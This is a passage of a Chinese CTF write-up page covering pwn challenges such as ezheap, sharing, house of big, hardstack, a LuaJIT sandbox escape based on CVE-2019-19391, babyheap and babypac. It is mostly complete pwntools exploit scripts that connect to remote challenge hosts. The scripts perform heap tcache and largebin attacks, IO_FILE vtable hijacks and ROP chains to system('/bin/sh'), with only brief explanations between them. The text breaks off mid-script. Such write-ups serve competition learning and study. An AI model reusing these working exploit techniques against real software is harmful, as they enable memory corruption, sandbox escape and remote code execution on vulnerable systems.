8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7] pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10] masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1] key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f] nonaddlist = [] def re_s(c): res = 0 for i in range(4): temp = c % 16 res += sbox.index(temp)*2**(4*i) c //= 16 return res def re_p(c): res = 0 for i in range(16): if c &(0x8000>>i) != 0: res |=(0x8000 >> (pbox[i] - 1)) return res def dec(m): addnum = 0 if m in nonaddlist: addnum = 1 m = (m[1]<<8) | m[0] m ^= key[-1] for i in range(3): m = re_s(m) m ^= key[-(i+2)] m = re_p(m) m = re_s(m) m ^= key[0] m = bytes([m&0xff , (m >> 8)+addnum]) return m def decrypt(m): c = b'' assert len(m) % 2 == 0 for i in range(len(m) // 2): c += dec(m[i*2:i*2+2]) return c def malloc(size, idx): p.sendlineafter(b"0.exit\n", b"1") p.sendlineafter(b"Size:\n", str(size).encode()) p.sendlineafter(b"Index:\n", str(idx).encode()) def edit(index, size, content): p.sendlineafter(b"0.exit\n", b"2") p.sendlineafter(b"Index:\n", str(index).encode()) p.sendlineafter(b"Size\n", str(size).encode()) p.sendafter(b"Content\n", content) def free(idx): p.sendlineafter(b"0.exit\n", b"3") p.sendlineafter(b"Index:\n", str(idx).encode()) def show(idx): p.sendlineafter(b"0.exit\n", b"4") p.sendlineafter(b"Index:\n", str(idx).encode()) #: 0x555555554000 def exp(): p.recvuntil(b"gift:") gift = int(p.recvuntil(b"\n", drop=True).decode(), 16) elf_base = gift - 0x2040E0 print("gift:", hex(gift)) print("elf_base:", hex(elf_base)) # malloc malloc(0x40, 0) for i in range(3): malloc(0x20, i+1) free(3) free(2) free(1) payload = b"A"*0x40+p64(0)+p64(0x31)+p64(gift) payload_dec = decrypt(payload) print("Payload len:", hex(len(payload))) print(payload.hex()) print(payload_dec.hex()) w_size = 0x58 edit(0, w_size, payload_dec) for i in range(0, w_size*2, 4): p.recvuntil(b"w:") tar = payload_dec.hex()[i+2:i+4]+payload_dec.hex()[i:i+2] act = p.recvuntil(b"\n", drop=True).decode().rjust(4, "0") print(tar, act) if tar != act: nonaddlist.append(bytes([payload[i//2]])+bytes([payload[i//2+1]])) print(nonaddlist) edit(0, w_size, decrypt(payload)) # fetch malloc(0x20, 5) malloc(0x20, 6) edit(6, 8, b"A"*8) print("gift:", hex(gift)) p.sendline(b"5") p.interactive() if __name__ == "__main__": exp()
ezheapsharingezheap题目实现了一种新的、思路和以往完全不同的堆管理器，并且保护全开手动恢复出来了部分相关结构体：远程EXP：from pwn import * import struct #p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"}) p = remote("123.60.25.24", 20077) elf = ELF("./ezheap") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.log_level = "debug" BYTE_ARR = 1 UINT16_ARR = 2 UINT32_ARR = 3 FLOAT_ARR = 4 def alloc(a_type:int, size:int, idx:int): p.sendlineafter(b"enter your choice>>\n", b"1") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"size>>\n", str(size).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) def edit(a_type:int, idx:int, ele_idx:int, value): p.sendlineafter(b"enter your choice>>\n", b"2") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode()) p.sendlineafter(b"value>>\n", value) def view(a_type:int, idx:int, ele_idx:int): p.sendlineafter(b"enter your choice>>\n", b"3") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode()) def delete(a_type:int, idx:int): p.sendlineafter(b"enter your choice>>\n", b"4") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) # base: 0xf7fc7000 # uint16: 0xf7fc7000+0x4040 # uint8: 0xf7fc7000+0x5040 # uint32: 0xf7fc7000+0x6040 # float: 0xf7fc7000+0x7040 # 0xf7fc7000+0x9060 def exp(): # leak new_heap_addr ## chain alloc(UINT32_ARR, 0xff8, 0) alloc(UINT32_ARR, 0xff8, 1) ## free chain delete(UINT32_ARR, 0) delete(UINT32_ARR, 1) ## show ptr alloc(UINT32_ARR, 0xff8, 4) # help chunk view(UINT32_ARR, 4, 0) p.recvuntil(b"value>>\n") leak_addr = int(p.recvuntil(b"\n", drop=True), 10) libc_base = (leak_addr & 0xfffff000) + 0x5000 system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh")) one_gadget = libc_base + 0x13563f print("leak_addr:", hex(leak_addr)) print("libc_base:", hex(libc_base)) ## padding, no use alloc(UINT32_ARR, 0x100, 5) # leak elf_base alloc(UINT32_ARR, 0x4, 0) alloc(UINT32_ARR, 0x4, 1) delete(UINT32_ARR, 0) delete(UINT32_ARR, 1) target_header = libc_base - 0x10000 pre_leak_addr = target_header + 0x18 # contant elf addr fake_chunk_hdr = target_header | (0x4+0x4) print("target_header:", hex(target_header)) print("pre_leak_addr:", hex(pre_leak_addr)) print("fake_chunk_hdr:", hex(fake_chunk_hdr)) float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(pre_leak_addr))[0] print("float_payload:", float_payload) for i in range(0x800): edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode()) alloc(UINT32_ARR, 0x4, 2) alloc(UINT32_ARR, 0x4, 3) view(UINT32_ARR, 3, 0) p.recvuntil(b"value>>\n") elf_leak = int(p.recvuntil(b"\n", drop=True), 10) elf_base = elf_leak - 0x9060 atoll_got = elf_base + elf.got["atoll"] ## build help_chunk alloc(UINT32_ARR, 0x2000, 6) # help chunk uint32_item_5 = elf_base + 0x6054 help_chunk = libc_base - 0x16000 print("uint32_item_5:", hex(uint32_item_5)) print("elf_leak:", hex(elf_leak)) print("elf_base:", hex(elf_base)) #gdb.attach(p) #pause() # attack uint32_array alloc(UINT32_ARR, 0x4, 0) alloc(UINT32_ARR, 0x4, 1) delete(UINT32_ARR, 0) delete(UINT32_ARR, 1) float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(uint32_item_5-4))[0] print("float_payload:", float_payload) for i in range(0x800): edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode()) alloc(UINT32_ARR, 0x4, 2) alloc(UINT32_ARR, 0x4, 3) edit(UINT32_ARR, 3, 0, str(help_chunk).encode()) print("help_chunk:", hex(help_chunk)) print("uint32_item_5:", hex(uint32_item_5)) # leak stack && build rop envrion = libc_base + libc.symbols["environ"] print("envrion:", hex(envrion)) edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr ## leak environ view(UINT32_ARR, 5, 0) p.recvuntil(b"value>>\n") stack_leak = int(p.recvuntil(b"\n", drop=True), 10) main_ret = stack_leak - 0xa4 ## build fake array edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr ## write rop edit(UINT32_ARR, 5, 0, str(system).encode()) # system edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh print("main_ret:", hex(main_ret)) p.sendline(b"5") # exit p.sendline("cat flag") p.interactive() if __name__ == "__main__": exp()sharingC++题，祖传盲调手艺不能丢😁，逆向去tmfrom pwn import * #p = process("./sharing", env={"LD_PRELOAD":"./libc-2.27.so"}) p = remote("124.70.137.88", 30000) elf = ELF("./sharing") libc = ELF("./libc-2.27.so") context.log_level = "debug" context.arch = "amd64" hint_str = p32(0x2F767991)+p32(0)*3 def add(idx:int, size:int): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Idx: ", str(idx).encode()) p.sendlineafter(b"Sz: ", str(size).encode()) def send(_from:int, _to:int): p.sendlineafter(b"Choice: ", b"2") p.sendlineafter(b"From: ", str(_from).encode()) p.sendlineafter(b"To: ", str(_to).encode()) def show(idx:int): p.sendlineafter(b"Choice: ", b"3") p.sendlineafter(b"Idx: ", str(idx).encode()) def edit(idx:int, content): p.sendlineafter(b"Choice: ", b"4") p.sendlineafter(b"Idx: ", str(idx).encode()) p.sendlineafter(b"Content: ", content) def hint(addr:int): p.sendlineafter(b"Choice: ", b"57005") p.sendlineafter(b"Hint: ", hint_str) p.sendlineafter(b"Addr: ", str(addr).encode()) # base: 0x0000555555554000 # 0x0000555555554000+0x207260 def exp(): #gdb.attach(p, "b *0x0000555555554000+0x1ce8\nc\n") #hint # leak heap ## build 0x30 free chain add(0, 0x20) add(1, 0x20) add(0, 0x30) add(1, 0x30) ## leak value add(2, 0x20) show(2) heap_leak = u64(p.recv(8)) heap_base = heap_leak - 0x135d0 # maybe diff print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) # leak libc add(3, 0x410) add(4, 0x10) add(3, 0x10) ## leak value add(3, 0x410) show(3) libc_leak = u64(p.recv(8)) libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"] __free_hook = libc_base + libc.symbols[b"__free_hook"] system = libc_base + libc.symbols[b"system"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) # uaf attack ## build 0x50 free chain (target) add(5, 0x40) add(6, 0x40) add(5, 0x70) add(6, 0x70) ## sender add(7, 0x10) edit(7, b"from") ## receiver add(8, 0x10) edit(8, b"to") ## modify receiver receiver_obj = heap_base + 0x13dd0 receiver_content_ptr = receiver_obj + 0x18 dec_times_1 = 0xb0 // 2 dec_times_2 = (0xe-0xc) // 2 ### dec the first byte for i in range(dec_times_1): hint(receiver_content_ptr) ### dec the second byte for i in range(dec_times_2): hint(receiver_content_ptr+1) ### modify tcache key tcache_key_addr = heap_base + 0x13c58 hint(tcache_key_addr) print("tcache_key_addr:", hex(tcache_key_addr)) print("receiver_obj:", hex(receiver_obj)) print("receiver_content_ptr:", hex(receiver_content_ptr)) ## send && rewrite tcache bin send(7, 8) add(9, 0x40) edit(9, p64(__free_hook)) ## get free_hook add(10, 0x40) add(11, 0x40) # free_hook edit(11, p64(system)) print("__free_hook:", hex(__free_hook)) print("system:", hex(system)) # get shell add(12, 0x10) edit(12, b"/bin/sh\x00") add(12, 0x10) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()
[XCTF Final 2021] Pwn题解 - house of big, hard stack, lua
house of bighardstackluahouse of big打出了个非预期，找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync，该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强（其实所有利用IO_FILE vtable指针的打法都大同小异三个角色的哈希校验绕过A: b'AV;\x8b\x02'B: b'B\xbf\x1b\x1e\x04'C: b'C%:U\x01'哈希爆破脚本from hashlib import md5 i = 2**24 # skip "\x00" while True: #d = b"A" #d = b"B" d = b"C" _input = d + i.to_bytes(4, "little") #print(_input) tmp = md5(_input).digest() if tmp[:3] == b"<D\x00" and b"\x00" not in _input: print(i, d + i.to_bytes(4, "little")) break i += 1exp:from pwn import * import hashlib #p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"}) p = remote("172.35.6.13", 8888) elf = ELF("./pig") libc = ELF("./libc-2.31.so") context.log_level = "debug" # b'AV;\x8b\x02' # b'B\xbf\x1b\x1e\x04' # b'C%:U\x01' def load_peppa(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02') def load_mummy(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04') def load_daddy(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01') def add_peppa_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Peppa's message: ") p.send(msg) def add_mummy_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Mummy's message: ") p.send(msg) def add_daddy_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Daddy's message: ") p.send(msg) def show_msg(idx:int): p.sendlineafter(b"Choice: ", b"2") p.sendlineafter(b"Input the message index: ", str(idx).encode()) def edit_peppa_msg(idx:int, msg): p.sendlineafter(b"Choice: ", b"3") p.sendlineafter(b"Input the message index: ", str(idx).encode()) p.sendafter(b"Input the Peppa's message: ", msg) def edit_mummy_msg(idx:int, msg): p.sendlineafter(b"Choice: ", b"3") p.sendlineafter(b"Input the message index: ", str(idx).encode()) p.sendafter(b"Input the Mummy's message: ", msg) def edit_daddy_msg(idx:int, msg): p.sendlineafter(b"Choice: ", b"3") p.sendlineafter(b"Input the message index: ", str(idx).encode()) p.sendafter(b"Input the Daddy's message: ", msg) def del_msg(idx:int): p.sendlineafter(b"Choice: ", b"4") p.sendlineafter(b"Input the message index: ", str(idx).encode()) def exp(): #load_mummy() # leak addr #gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n") for i in range(8): add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7 add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8 for i in range(8): del_msg(i) load_mummy() load_peppa() show_msg(7) # leak libc p.recvuntil(b"The message is: ") libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - 0x1ebbe0 global_max_fast = libc_base + 0x1eeb80 system = libc_base + libc.symbols[b"system"] binsh = libc_base + next(libc.search(b"/bin/sh")) free_hook = libc_base + libc.symbols[b"__free_hook"] io_list_all = libc_base + 0x1ec5a0 print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("system:", hex(system)) print("global_max_fast:", hex(global_max_fast)) show_msg(6) # leak heap p.recvuntil(b"The message is: ") heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) heap_base = heap_leak - 0x12590 print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) # largebin attack #edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin #add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin #gdb.attach(p) #pause() load_mummy() add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0 add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1 load_peppa() add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9 load_mummy() add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2 load_peppa() add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10 load_mummy() del_msg(2) ## reuse load_daddy() add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0 del_msg(0) #gdb.attach(p) #pause() load_peppa() add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11 del_msg(11) #gdb.attach(p) #pause() load_mummy() add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3 del_msg(1) load_peppa() # refresh locked_flag load_mummy() #gdb.attach(p) #pause() edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0 load_daddy() ## trigger add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1 print("global_max_fast:", hex(global_max_fast)) print("io_list_all:", hex(io_list_all)) target_chunk = heap_base + 0x13080 print("target_chunk:", hex(target_chunk)) #gdb.attach(p) #pause() io_str_jumps = libc_base + 0x1ed0e0 ptr_2_io_wfile_sync = libc_base + 0x1ece40 io_wfile_jumps = libc_base + 0x1ecde0 #io_str_jumps = libc_base + 0x1ed320 print("io_str_jumps:", hex(io_str_jumps)) print("io_wfile_jumps:", hex(io_wfile_jumps)) ## write fake io_file ''' # old payload payload = p64(0)*2 payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr payload += p64(0)*2 payload += p64((binsh -100)//2) # _IO_buf_end; payload += p64(0)*4 payload += p64(0) # _chain payload = payload.ljust((0x88-0x10), b"\x00") payload += p64(free_hook) # ptr to 0 for _lock payload = payload.ljust((0xa8-0x10), b"\x00") payload += p64(2) + p64(3) # _freeres_list _freeres_buf payload = payload.ljust((0xc0-0x10), b"\x00") payload += p32(0xffffffff) payload = payload.ljust((0xd8-0x10), b"\x00") payload += p64(io_str_jumps) + p64(system) payload = payload.ljust(0xf0, b"\x00") ''' one_gadget = libc_base+0xE6C80 payload = p64(0)*4 payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr payload = payload.ljust(0x88, b"\x00") payload += p64(free_hook) payload = payload.ljust(0x98, b"\x00") payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt _wide_data payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9) payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2 #payload += b"/bin/sh\x00"+p64(0)*1+p64(system) payload += p64(target_chunk)+p64(0)*1+p64(system) payload = payload[0x10:].ljust(0x150, b"\x00") part1 = b"" part2 = b"" part3 = b"" for i in range(7): part1 += payload[0x30*i : 0x30*i+0x10] part2 += payload[0x30*i+0x10 : 0x30*i+0x20] part3 += payload[0x30*i+0x20 : 0x30*i+0x30] load_peppa() edit_peppa_msg(11, part1) load_mummy() edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7)) load_daddy() edit_daddy_msg(0, part3) print("io_list_all:", hex(io_list_all)) print("io_str_jumps:", hex(io_str_jumps)) print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync)) print("io_wfile_jumps:", hex(io_wfile_jumps)) ## trigger system #gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n") # set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290 # b *0x7ffff7e6b290 load_mummy() del_msg(0) print("onegadget:", hex(one_gadget)) # _IO_flush_all_lockp # 0x7ffff7e62984 # 0x7ffff7e62981 #gdb.attach(p) #pause() p.interactive() if __name__ == "__main__": exp()hardstackhand burpfrom pwn import * import sys libc = ELF("./libc-2.27.so") context.log_level = "debug" def new(idx:int, size:int): p.sendlineafter(b"Your choice: ", b"1") p.sendlineafter(b"Index: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(size).encode()) def edit(idx:int, content): p.sendlineafter(b"Your choice: ", b"2") p.sendlineafter(b"Index: ", str(idx).encode()) p.sendafter(b"Content: ", content) def delete(idx:int): p.sendlineafter(b"Your choice: ", b"4") p.sendlineafter(b"Index: ", str(idx).encode()) def stkof(length, payload): p.sendlineafter(b"Your choice: ", b"666") p.sendline(str(length)) p.send(payload) def exp(): global p #p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"}) p = remote("172.35.6.14", 9999) #p.settimeout(1) #gdb.attach(p, "b *0x400C4C\nc\n") #stkof #chunk_list: 0x6020D0 #stdout: 0x00007ffff7dce760 #leak: 0x00007ffff7dce090 # attack IO_FILE ## prepare new(0xf, 0xda0) new(0, 0x1) #0 new(1, 0x1) #1 new(2, 0x28) #2 new(3, 0x28) #3 new(4, 0x28) #4 new(5, 0x410) #5 new(6, 0x10) #6 split delete(5) new(7, 0x2) #6->4 ## build delete(0) delete(1) delete(2) delete(3) delete(4) edit(1, b"\xb0") new(8, 0x1) new(9, 0x1) edit(9, b"\xe0") edit(7, b"\x30\xdc") ## get new(10, 0x20) new(11, 0x20) new(12, 0x20) edit(12, p64(0x400b20)+p64(0)*3) edit(12, p64(0x400a20)+p64(0)*3) # leak new(13, str(0x601FD0)) malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00")) libc_base = malloc - 0x97140 binsh = libc_base + next(libc.search(b"/bin/sh")) system = libc_base + libc.symbols[b"system"] gets = libc_base + libc.symbols[b"gets"] print("malloc:", hex(malloc)) print("libc:", hex(libc_base)) print("binsh:", hex(binsh)) print("system:", hex(system)) #new(13, str(0x601FD0)) edit(12, p64(gets)+p64(0)*3) new(14, 0x6020d0) p.sendline(b"/bin/sh\x00"+p64(0)*3) #gdb.attach(p, "b *0x400b4b") edit(12, p64(system)+p64(0)*3) new(1, 0x6020d0) p.sendline(b"cat flag; cat flag;") p.interactive() if __name__ == "__main__": while True: exp()lua套了一个sandboxLuaJIT版本2.1.0-beta3 2017复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526原POC还差写地址的部分Type confusion 偏移到os.execute来bypass sandboxexp:local str = "123456789" -- local bit = require("bit") local bit_band = bit.band local bit_lshift = bit.lshift local bit_rshift = bit.rshift local math_floor = math.floor local math_frexp = math.frexp local math_ldexp = math.ldexp local math_huge = math.huge function UInt32sToDouble(low, high) local negative = false if high >= 0x80000000 then negative = true high = high - 0x80000000 end local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20) local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52 local f if biasedExponent == 0x0000 then f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022) elseif biasedExponent == 0x07FF then f = mantissa == 0 and math_huge or(math_huge - math_huge) else f = math_ldexp(1 + mantissa, biasedExponent - 1023) end return negative and -f or f end local obj_address = tonumber(string.format( "%p", str ), 16) + 12 print(string.format( "%p", str )) address = UInt32sToDouble( obj_address, 0 ) local func = debug.getinfo( 0, ">f", address ).func print(func) -- This is supposed to get the environment of the function -- but it allows us to read memory by formatting the address -- into a pointer local length = debug.getfenv( func ) -- Format the address into a pointer -- prints 4, the length of the string -- print(string.format( "%p", length)) print("read memory:") -- print( tonumber( string.format( "%p", length), 16 ) ) print(string.format( "%p", length)) function read_mem(mem_addr) mem_addr = mem_addr - 8 address = UInt32sToDouble( mem_addr, 0 ) local func = debug.getinfo( 0, ">f", address ).func local length = debug.getfenv( func ) return string.format( "%p", length) end function exec_addr(e_addr, fake_argv) -- e_addr = e_addr - 8 address = UInt32sToDouble( e_addr, 0 ) local func = debug.getinfo( 0, ">f", address ).func func(fake_argv) print("exec successfully!!!") end -- print(read_mem(obj_address - 4 - 0x10 + 4 )) function addr_of(fake_obj) -- local o_address = tonumber(string.format("%p", fake_obj), 16) local o_address = string.format("%p", fake_obj) return o_address end function todo() print("hi,happy.") end print("addr of ipairs") func_addr_of_ipairs = addr_of(ipairs) print(ipairs) print("addr of:") func_addr_of_exec_addr = addr_of(exec_addr) print(func_addr_of_exec_addr) print("delta:") print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs)) -- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs )) -- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540 -- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs)) -- func_addr_of_load - func_addr_of_ipairs = 0x4b8 -- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load)) print("content:") print(read_mem(func_addr_of_exec_addr)) -- exec_addr(obj_address) function Sleep(n) local t0 = os.clock() while os.clock() - t0 <= n do end end -- Sleep(20) function faking_func() print("fake me!!!") end local fake_args = function() print("exe_me!") end -- load(fake_args) -- exec_addr -- exec_addr(addr_of(faking_func) , nil) -- calc_load_addr = func_addr_of_ipairs + 0x4b8 calc_exec_addr = func_addr_of_ipairs + 0x2540 exec_addr(calc_exec_addr, "cat flag")
babyheapbabypacFavourite Architecure flag1Favourite Architecure flag2babyheap18.04 libc2.27堆题,delete有double free白给题，触发malloc_consolidate就可以leak+overlapping了EXP：from pwn import * #p = process("./pwn") p = remote("52.152.231.198", 8081) elf = ELF("./pwn") #libc = ELF("./libc.so.6") libc = ELF("./libc-2.27.so") context.log_level = "debug" def add(idx:int, size:int): p.recvuntil(b">> \n") p.sendline(b"1") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) p.recvuntil(b"input size\n") p.sendline(str(size).encode()) def delete(idx:int): p.recvuntil(b">> \n") p.sendline(b"2") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) def edit(idx:int, content): p.recvuntil(b">> \n") p.sendline(b"3") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) p.recvuntil(b"input content\n") p.send(content) def show(idx:int): p.recvuntil(b">> \n") p.sendline(b"4") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) def leaveName(name): p.recvuntil(b">> \n") p.sendline(b"5") p.recvuntil(b"your name:\n") p.send(name) def showName(): p.recvuntil(b">> \n") p.sendline(b"6") def exp(): # leak libc for i in range(16): add(i, 0x20) #0-9 for i in range(15): delete(i) # del 0-9 leaveName(b"123123") show(7) libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - 0x3ebe10 malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] free_hook = libc_base + libc.symbols[b"__free_hook"] system = libc_base + libc.symbols[b"system"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("malloc_hook:", hex(malloc_hook)) print("free_hook:", hex(free_hook)) # overlapping && double free add(0, 0x50) #0 edit(0, p64(0)*4+p64(0x61)) delete(8) edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8)) # attack free_hook add(1, 0x50) #1 add(1, 0x50) #1 edit(1, p64(system)) print("free_hook:", hex(free_hook)) edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00") delete(8) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()babypacarm架构的题，有栈溢出机会数据结构：从0x412050开始的结构体数组strcut aaa{ QWORD id; QWORD lock; };分析：add函数将id设为你的输入，lock设为0lock函数将id设为sub_4009D8(id)，lock设为1show函数当lock为0时候打印id，lock为1的时候不打印auth函数检查是否sub_4009d8(0x10A9FC70042)为id，是的话给栈溢出机会这里有整数溢出，当idx由unsigned解释为int得时候为-2得时候，可控name就变为我们输入得，然后：这里就可以绕过检测，来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段，然后shellcode。使用通用gadget。或者自己构造。思路：PACIA指令对跳转指针进行签名，签名结果被函数加密了，找shallow写了脚本解出签名后的指针然后用csu gadget leak出puts的地址低三字节，拼接出完整地址ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"ret回main同样的方法调用system（借助上一步写入的函数地址和参数）EXP：from pwnlib.util.iters import mbruteforce import string from hashlib import sha256 from pwn import * import time #p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"]) #p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"]) p = remote("52.255.184.147", 8080) elf = ELF("./chall") libc = ELF("./lib/libc.so.6") context.log_level = "debug" context.arch = "aarch64" def add(_id:int): p.recvuntil(b">> ") p.sendline(b"1") p.recvuntil(b"identity: ") p.sendline(str(_id).encode()) def lock(idx): p.recvuntil(b">> ") p.sendline(b"2") p.recvuntil(b"idx: ") p.sendline(str(idx).encode()) def show(): p.recvuntil(b">> ") p.sendline(b"3") def auth(idx): p.recvuntil(b">> ") p.sendline(b"4") p.recvuntil(b"idx: ") p.sendline(str(idx).encode()) def unshiftleft(n , shift , mask = 0xffffffffffffffff): res = n temp = len(bin(n)[2:]) // shift + 1 for _ in range(temp): res = n ^ ((res << shift) & mask) return res def unshiftright(n , shift , mask = 0xffffffffffffffff): res = n temp = len(bin(n)[2:]) // shift + 1 for _ in range(temp): res = n ^ ((res >> shift) & mask) return res def unshift(c): c = unshiftright(c , 13) c = unshiftleft(c , 31) c = unshiftright(c , 11) c = unshiftleft(c , 7) return c # global const bss_name = 0x412030 bss_list = 0x412050 curr_ret_addr = 0x400da4 csu_gadget_1 = 0x400FF8 csu_gadget_2 = 0x400FD8 puts_got = 0x411FD0 read_got = 0x411FD8 main_addr = 0x400F5C def exp(): # set name p.recvuntil(b"input your name: ") name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0) p.send(name) #0x3f000000400ff8 lock(-2) add(0xdeadbeef) #0 show() p.recvuntil(b"name: ") encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True)) print("encode_csu_gadget_1:", hex(encode_csu_gadget_1)) signed_csu_gadget_1 = unshift(encode_csu_gadget_1) print("signed_csu_gadget_1:", hex(signed_csu_gadget_1)) lock(-1) auth(-1) # stack overflow payload = b"a"*0x28 payload += p64(signed_csu_gadget_1) payload += p64(csu_gadget_2)*2 payload += p64(0) + p64(1) payload += p64(puts_got) + p64(puts_got) payload += p64(0) + p64(0) payload += p64(main_addr) + p64(main_addr) payload += p64(csu_gadget_2) p.sendline(payload) libc_leak = p.recvuntil(b"\n", drop=True) libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00") puts = u64(libc_leak) libc_base = puts - libc.symbols[b"puts"] system = libc_base + libc.symbols[b"system"] binsh = libc_base + next(libc.search(b"/bin/sh")) mprotect = libc_base + libc.symbols[b"__mprotect"] print("puts:", hex(puts)) print("libc_base:", hex(libc_base)) print("system:", hex(system)) print("binsh:", hex(binsh)) print("mprotect:", 